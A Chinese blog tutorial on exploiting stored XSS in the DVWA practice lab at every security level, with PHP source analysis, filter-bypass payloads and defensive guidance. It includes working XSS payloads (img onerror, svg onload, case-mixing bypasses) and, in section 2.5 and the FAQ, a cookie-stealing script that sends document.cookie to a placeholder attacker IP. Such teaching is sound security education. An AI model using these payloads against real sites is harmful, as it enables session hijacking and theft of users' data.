欢迎光临
我们一直在努力

DVWA存储型XSS实战教学指南(Low→Medium→High→Impossible全级别)(源码分析+实操步骤+防御方案)

重要声明(安全研究边界)
本文所述所有技术仅限用于授权测试(如CTF、DVWA等靶场)及个人学习环境。未经授权对任何系统进行渗透测试是违法行为。请务必遵守《网络安全法》及相关法律法规,坚守职业道德。

第一部分:前置准备

1.1 靶场环境搭建

DVWA(Damn Vulnerable Web Application)是一款基于PHP+MySQL的开源漏洞靶场,适合初学者练习XSS等Web安全技术。

推荐使用Docker一键部署(可快速切换安全级别):

# Low级别
docker run –name dvwa-low -d -p 8080:80 vulnerables/web-dvwa

# Medium级别
docker run –name dvwa-medium -d -p 8081:80 -e DVWA_SECURITY_LEVEL=medium vulnerables/web-dvwa

# High级别
docker run –name dvwa-high -d -p 8082:80 -e DVWA_SECURITY_LEVEL=high vulnerables/web-dvwa

# Impossible级别(安全级别,无漏洞)
docker run –name dvwa-impossible -d -p 8083:80 -e DVWA_SECURITY_LEVEL=impossible vulnerables/web-dvwa

  • 映射端口建议避开8080(Burp Suite默认代理端口),如8081、8082、8083。
  • WSL2用户需使用WSL真实IP访问(ip addr show eth0获取)。

传统手动部署(可选):

  • 下载DVWA源码,解压到Web根目录。
  • 复制config/config.inc.php.distconfig/config.inc.php,修改数据库密码。
  • 访问/setup.php创建数据库,登录默认账号admin/password
  • 在“DVWA Security”页面设置安全级别为Low/Medium/High/Impossible。
  • 进入“XSS stored”模块开始测试。
  • 1.2 必备工具

    • 浏览器:Chrome/Firefox(F12开发者工具)。
    • 抓包工具:Burp Suite Community Edition(拦截修改HTTP请求)。
    • 辅助插件:HackBar(可选)、Tamper Data(Firefox)。
    • XSS payload库:可参考OWASP XSS Filter Evasion Cheat Sheet。

    1.3 基础知识储备

    • XSS原理:跨站脚本攻击,攻击者注入恶意脚本,当其他用户访问时执行。
    • 存储型XSS:恶意脚本存储在服务器端(如数据库),每次加载页面时触发。
    • HTML与JavaScript基础:了解标签、事件、伪协议等。
    • 常见过滤绕过:大小写混淆、双写、使用其他标签、事件处理器、编码等。

    第二部分:Low级别(无防护)

    2.1 核心特点

    • 无任何XSS防护:仅对输入进行了SQL转义(mysqli_real_escape_string),但对HTML输出未做处理。
    • 直接存储:用户输入的messagename原样存入数据库,输出时直接显示,导致任意XSS代码执行。

    2.2 源码分析(Low级别)

    if( isset( $_POST[ 'btnSign' ] ) ) {
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );

        // 去除反斜杠(如果开启了magic_quotes_gpc)
        $message = stripslashes( $message );
        // 仅转义SQL特殊字符,对XSS无效
        $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);

        $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);

        // 直接拼接SQL插入数据库
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query(…) or die( '<pre>' . mysqli_error(…) . '</pre>' );
    }

    • 关键缺陷:没有任何HTML过滤,<script>等标签原样存入数据库。
    • 输出点:在显示留言板时,直接输出数据库中的内容,没有经过htmlspecialchars等转义,因此脚本会执行。

    2.3 攻击原理

    攻击者在输入框中提交包含JavaScript代码的字符串,例如<script>alert('XSS')</script>,该代码被存入数据库。当其他用户访问留言板页面时,服务器从数据库取出并直接输出到HTML中,浏览器将其解释为脚本并执行。

    2.4 实操步骤

  • 进入DVWA的“XSS stored”页面。
  • 在“Name”或“Message”输入框中输入Payload,例如:                      <script>alert(document.cookie)</script>
  • 点击“Sign Guestbook”提交。
  • 页面刷新后,留言列表中出现该条留言,同时弹出当前用户的Cookie。
  • 2.5 典型Payload

    • 基本弹窗:<script>alert('XSS')</script>
    • 窃取Cookie:<script>document.location='http://攻击者IP/cookie?c='+document.cookie</script>
    • 其他标签:<img src=x οnerrοr=alert(1)>

    第三部分:Medium级别(部分过滤)

    3.1 核心特点

    • 对message字段:使用strip_tagsaddslashesmysqli_real_escape_stringhtmlspecialchars多层过滤,基本杜绝XSS。
    • 对name字段:仅使用str_replace('<script>', '', $name)简单替换,然后mysqli_real_escape_string,存在绕过可能。
    • 输出:仍直接输出,未进一步转义(但存储时已经对message做了htmlspecialchars,所以message安全)。

    3.2 源码分析(Medium级别)

    if( isset( $_POST[ 'btnSign' ] ) ) {
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );

        // message的过滤链
        $message = strip_tags( addslashes( $message ) );       // 先strip_tags去掉HTML标签,再加反斜杠
        $message = mysqli_real_escape_string(…, $message );  // SQL转义
        $message = htmlspecialchars( $message );               // HTML实体转义

        // name的过滤
        $name = str_replace( '<script>', '', $name );          // 仅删除<script>标签(不区分大小写?源码中是小写)
        $name = mysqli_real_escape_string(…, $name );

        // 拼接SQL插入
        $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    }

    过滤分析:

    • messagestrip_tags会删除所有HTML和PHP标签,因此任何类似<script>的标签都会被移除,无法注入。即使有addslashesmysqli_real_escape_string,它们不影响标签的存在。所以message字段安全。
    • name:仅替换了<script>字符串,不区分大小写?源码中用的是小写'<script>',所以大小写可绕过。另外,还可以使用其他标签(如<img>)或事件处理器。

    注意:str_replace只删除第一次出现的<script>?不,它会替换所有出现的子串,但只针对完全匹配的<script>,不会处理嵌套或变体。

    3.3 攻击原理

    由于name字段只过滤了<script>标签,攻击者可以使用其他HTML标签或利用事件来执行JavaScript,例如<img src=1 οnerrοr=alert(1)>,或者使用大小写混合<Script>(因为替换是小写的,大小写混合不会被替换)。

    3.4 实操步骤

  • 在“Name”输入框中尝试Payload,例如:
           <img src=x οnerrοr=alert(document.cookie)>
  • 提交后,查看留言板,当鼠标悬停或图片加载失败时触发弹窗。
  • 也可以尝试大小写绕过:<Script>alert('XSS')</Script>,因为str_replace只匹配小写<script>,所以大写<Script>不会被删除。
  • 3.5 典型Payload

    • 使用事件:<img src=1 οnerrοr=alert(1)>
    • 大小写混合:<Script>alert(1)</Script>
    • 其他标签:<body οnlοad=alert(1)>
    • 伪协议:<a href="javascript:alert(1)">click</a>

    第四部分:High级别(更严格的过滤)

    4.1 核心特点

    • 对message字段:与Medium相同,经过strip_tagsaddslashesmysqli_real_escape_stringhtmlspecialchars,安全。
    • 对name字段:使用正则preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name),试图删除任何包含`s c r i p t`字母的标签(不区分大小写),但仍可能被绕过。
    • 输出:直接输出,未进一步转义。

    4.2 源码分析(High级别)

    if( isset( $_POST[ 'btnSign' ] ) ) {
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );

        // message过滤同Medium
        $message = strip_tags( addslashes( $message ) );
        $message = mysqli_real_escape_string(…, $message );
        $message = htmlspecialchars( $message );

        // name过滤:正则删除包含s c r i p t字母的标签(允许中间任意字符)
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = mysqli_real_escape_string(…, $name );

        // 拼接SQL
        $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    }

    正则分析:

    /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i 匹配以<开头,后面跟任意字符(贪婪),然后依次出现`s`、`c`、`r`、`i`、`p`、`t`,最后可能还有任意字符,然后>?注意正则末尾没有>,所以它会匹配到包含这些字母序列的任何标签,例如<script><ScRipT>,甚至<img src=x οnerrοr=alert>中的`onerror`里也可能包含这些字母?但`onerror`不是标签,它是属性,而正则要求以<开头,所以只匹配标签名。例如<script>会被删除,但<img>不会被删除,因为不包含连续的s c r i p t。

    所以,该正则旨在删除所有包含“script”字样的标签(无论大小写,无论中间有无其他字符)。但是,它只删除整个标签吗?因为(.*)是贪婪的,它会匹配尽可能多的字符,直到最后一个`t`,然后整个被替换为空。例如<script>会被删除,但<script>标签内的内容呢?正则匹配了整个标签,所以标签被删除,但标签内的内容可能残留?实际上,如果输入<script>alert(1)</script>,正则匹配第一个<script>,然后后面的字符直到最后一个`t`?注意贪婪匹配:<(.*)s(.*)c…,第一个(.*)会匹配到最后一个`s`之前的所有字符?由于是贪婪,它会尽可能长,导致可能匹配整个字符串直到最后一个`t`。但正则中分组很多,需要实际测试。但无论如何,这个正则可以被绕过,因为攻击者可以使用其他标签如<img>,或者使用事件,或者使用不包含完整“script”序列的标签,例如<svg οnlοad=alert(1)>

    此外,preg_replace只会删除匹配的标签,但不会删除标签内的属性或内容?例如输入<img src=x οnerrοr=alert(1)>,其中不包含“script”序列,所以不会被删除,XSS依然存在。

    4.3 攻击原理

    由于正则只删除包含“script”的标签,攻击者可以使用其他HTML标签或事件处理器来执行JavaScript,例如<img src=1 οnerrοr=alert(1)><body οnlοad=alert(1)><svg οnlοad=alert(1)>等。

    4.4 实操步骤

  • 在“Name”输入框中输入:
            <img src=x οnerrοr=alert(document.cookie)>
  • 提交后,查看留言板,图片加载失败触发onerror事件,弹出Cookie。
  • 4.5 典型Payload

    • 事件驱动:<img src=x οnerrοr=alert(1)>
    • 其他标签:<svg οnlοad=alert(1)>
    • 利用CSS:<div style="background:url('javascript:alert(1)')">(但现代浏览器通常禁止)
    • 利用<a href="javascript:alert(1)">click</a>(需要用户点击)

    第五部分:Impossible级别(完全防御)

    5.1 核心特点

    • 多重防御:CSRF令牌防止跨站请求,输入验证,HTML实体转义,参数化查询。
    • 彻底阻断XSS:对所有输入输出均进行htmlspecialchars转义,无论存储还是显示都不会执行脚本。

    5.2 源码分析(Impossible级别)

    if( isset( $_POST[ 'btnSign' ] ) ) {
        // CSRF防护
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );

        // 对message进行转义和HTML实体编码
        $message = stripslashes( $message );
        $message = mysqli_real_escape_string(…, $message ); // SQL转义
        $message = htmlspecialchars( $message );               // HTML实体转义

        // 对name同样处理
        $name = stripslashes( $name );
        $name = mysqli_real_escape_string(…, $name );
        $name = htmlspecialchars( $name );

        // 使用PDO预处理插入数据库
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }

    安全机制:

    • CSRF Token:防止攻击者利用受害者会话提交恶意留言。
    • HTML实体转义:htmlspecialchars<>"'、&等转换为HTML实体,使得任何HTML标签都无法被浏览器解析,所有输入变成纯文本。
    • SQL注入防护:同时使用了mysqli_real_escape_string和PDO预处理,双重保险。
    • 输出时:由于存储的内容已经是转义后的实体,输出时不会产生新问题(但通常输出时也会再次转义以防二次解码,不过这里存储的是实体,直接输出即可)。

    5.3 为什么无法注入?

    无论攻击者输入什么,经过htmlspecialchars后,<script>变成<script>,浏览器显示为文本,不会执行。其他攻击向量同样被转义。

    第六部分:Low→Medium→High→Impossible对比总结

    对比项

    Low级别

    Medium级别

    High级别

    Impossible级别

    message过滤

    仅SQL转义

    strip_tags + addslashes + SQL转义 + htmlspecialchars

    同Medium

    stripslashes + SQL转义 + htmlspecialchars

    name过滤

    仅SQL转义

    str_replace('<script>', '') + SQL转义

    正则删除script标签 + SQL转义

    stripslashes + SQL转义 + htmlspecialchars

    绕过方式

    任意XSS

    name字段可用其他标签或大小写绕过

    name字段可用其他标签(无script)绕过

    无法绕过

    典型Payload

    <script>alert(1)</script>

    <img src=x οnerrοr=alert(1)> 或 <Script>alert(1)</Script>

    <img src=x οnerrοr=alert(1)>

    CSRF防护

    预处理

    演进启示:

    • 简单的黑名单(如替换<script>)极易被绕过。
    • 白名单过滤(如strip_tags)能去除所有标签,但会破坏富文本功能。
    • 最终解决方案是对输出进行上下文编码(如HTML实体转义),并配合CSRF和参数化查询。

    第七部分:防御方案与最佳实践

    7.1 根本性措施——输出编码

    无论输入如何,在输出到HTML页面时,必须根据上下文进行编码:

    • HTML标签内:使用htmlspecialchars(或htmlentities)转义。
    • JavaScript中:使用JSON编码。
    • URL中:使用URL编码。

    7.2 输入验证(白名单)

    • 如果业务需要允许用户提交富文本,应使用白名单过滤,只允许安全的标签和属性(如使用HTML Purifier库)。
    • 对于简单的文本,直接使用输出编码即可。

    7.3 CSRF防护

    • 为所有状态改变请求添加CSRF令牌,防止跨站请求伪造。

    7.4 内容安全策略(CSP)

    • 部署CSP头,限制脚本执行来源,可有效缓解XSS。

    7.5 数据库安全

    • 使用参数化查询防止SQL注入,但这对XSS无直接帮助,但能防止存储时被注入恶意数据。

    第八部分:常见问题排查(FAQ)

    Q1:Medium级别中,为什么message字段安全而name字段不安全?

    – message经过strip_tags去除了所有HTML标签,因此无法注入任何HTML。而name只过滤了<script>,留下了其他标签和事件。

    Q2:High级别中,正则/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i能完全防御script标签吗?

    – 不能,因为它只删除匹配的标签,攻击者可以使用其他标签如<img>,或者使用不包含完整“script”序列的标签(如<svg>)。

    Q3:Impossible级别中,为什么还要用mysqli_real_escape_string

    – 虽然使用了PDO预处理,但为了兼容旧代码或额外防御,仍然进行了转义。但这不是必须的,预处理已足够。

    Q4:如何在Low级别窃取Cookie?

    – 使用<script>document.location='http://攻击者IP/?'+document.cookie</script>,然后监听HTTP请求。

    Q5:存储型XSS与反射型XSS的区别?

    – 存储型:恶意脚本永久存储在服务器上,每次访问页面都触发。
    – 反射型:脚本在请求中立即反射回来,需要诱使用户点击恶意链接。

    第九部分:核心总结与下一步学习路径

    核心总结

  • Low:无过滤,直接注入任意XSS。
  • Medium:部分过滤,但可绕过(其他标签、大小写)。
  • High:正则过滤script标签,但仍可被其他标签绕过。
  • Impossible:输出编码+CSRF+预处理,彻底防御。
  • 防御核心:对所有输出到HTML的内容进行上下文编码,永远不要信任用户输入。
  • 下一步学习建议

  • 学习反射型XSS和DOM型XSS。
  • 掌握XSS绕过技巧(编码、多态等)。
  • 研究CSP配置及绕过。
  • 尝试XSS挑战平台(如XSS-labs)。
  • 安全警示:本文档所有操作仅限于已授权的DVWA本地靶场环境,严禁用于非法攻击。理解漏洞的目的是为了编写更安全的代码。

    赞(0)
    未经允许不得转载:171主机测评 » DVWA存储型XSS实战教学指南(Low→Medium→High→Impossible全级别)(源码分析+实操步骤+防御方案)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址